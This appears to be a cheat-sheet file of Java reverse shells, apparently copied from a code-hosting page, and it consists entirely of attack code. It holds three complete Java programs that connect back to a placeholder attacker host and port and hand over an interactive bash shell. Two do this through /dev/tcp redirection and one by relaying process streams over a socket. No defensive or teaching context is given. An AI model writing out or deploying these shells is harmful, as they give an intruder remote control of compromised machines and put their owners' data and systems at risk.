64 lines
1.8 KiB
Plaintext
64 lines
1.8 KiB
Plaintext
java revshells:
|
|
```
|
|
public class shell {
|
|
public static void main(String[] args) {
|
|
Process p;
|
|
try {
|
|
p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/<host>>/<port> 0>&1");
|
|
p.waitFor();
|
|
p.destroy();
|
|
} catch (Exception e) {}
|
|
}
|
|
}
|
|
```
|
|
|
|
```
|
|
public class shell {
|
|
public static void main(String[] args) {
|
|
ProcessBuilder pb = new ProcessBuilder("bash", "-c", "$@| bash -i >& /dev/tcp/<host>/<port> 0>&1")
|
|
.redirectErrorStream(true);
|
|
try {
|
|
Process p = pb.start();
|
|
p.waitFor();
|
|
p.destroy();
|
|
} catch (Exception e) {}
|
|
}
|
|
}
|
|
```
|
|
|
|
```
|
|
import java.io.InputStream;
|
|
import java.io.OutputStream;
|
|
import java.net.Socket;
|
|
|
|
public class shell {
|
|
public static void main(String[] args) {
|
|
String host = "<host>";
|
|
int port = <port>;
|
|
String cmd = "bash";
|
|
try {
|
|
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
|
|
Socket s = new Socket(host, port);
|
|
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
|
|
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
|
|
while (!s.isClosed()) {
|
|
while (pi.available() > 0)
|
|
so.write(pi.read());
|
|
while (pe.available() > 0)
|
|
so.write(pe.read());
|
|
while (si.available() > 0)
|
|
po.write(si.read());
|
|
so.flush();
|
|
po.flush();
|
|
Thread.sleep(50);
|
|
try {
|
|
p.exitValue();
|
|
break;
|
|
} catch (Exception e) {}
|
|
}
|
|
p.destroy();
|
|
s.close();
|
|
} catch (Exception e) {}
|
|
}
|
|
}
|
|
``` |